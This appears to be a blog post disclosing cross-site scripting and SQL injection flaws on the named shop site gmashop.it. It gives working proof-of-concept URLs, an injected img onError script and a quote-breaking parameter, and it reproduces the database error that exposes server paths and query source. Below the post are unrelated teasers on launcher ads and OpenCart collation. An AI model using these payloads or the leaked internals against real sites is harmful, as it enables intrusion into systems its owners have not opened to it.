Skip to main content

gmashop.it | xss


XSS
https://www.gmashop.it/Ricerca.cfm?testo="><img onError="alert(1)" src="a" /><"
archived: http://archive.is/P0OXI

SQL Injection
sample raising an error
https://www.gmashop.it/Inside.cfm?sezione=PRODOTTI&area=PRODOTTI&mod=elenco&apmenu=partner&codpar=2'00
archived: http://archive.is/ufpwM


 Error Executing Database Query.
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''00 AND LINGUA = 'IT'' at line 3

The error occurred in /var/www/html/gmashop/Query/Prodotti/SelNomePar.cfm: line 5
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 89
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 84
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 1
Called from /var/www/html/gmashop/Inside.cfm: line 48
Called from /var/www/html/gmashop/Query/Prodotti/SelNomePar.cfm: line 5
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 89
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 84
Called from /var/www/html/gmashop/Prodotti/Prodotti_elenco.cfm: line 1
Called from /var/www/html/gmashop/Inside.cfm: line 48

3 :     WHERE
4 :     cod= <cfif isdefined('URL.CODPAR') AND URL.CODPAR neq ''>#URL.CODPAR#<cfelseif isdefined('SelOggetti.COD_PARTNER')>#SelOggetti.COD_PARTNER#<cfelse>0</cfif>
5 :      AND LINGUA = '#SESSION.lingua_sito#'
6 : </cfquery>

SQLSTATE       42000
DATASOURCE       gmashop
VENDORERRORCODE       1064
SQL        SELECT TITOLO,cod FROM partner WHERE cod= 2''00 AND LINGUA = 'IT'

Comments

Post a Comment

Popular posts from this blog

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)      
Post a Comment
Read more

Database Collation when installing Opencart 3.x, 4.x

  To avoid several problems the database collation for opencart should be as follows: - for Opencart 4.0.1.1 and above it should be " utf8mb4_general_ci " - for Opencart 1.5.51 (Opencart  2.x, Opencart 3.x ) up to Opencart 4.0.1.0 the collation should be " utf8_general_ci " - for Opencart 1.4.1 up to Opencart 1.5.4.1 the collation should be " utf8_bin " - for Opencart <1.1.1 up to Opencart 1.4.0 the collation should be " utf8_unicode_ci " If you are using the latest version of mysql always use " utf8mb4_general_ci ". Never use UTF8mb3*
Post a Comment
Read more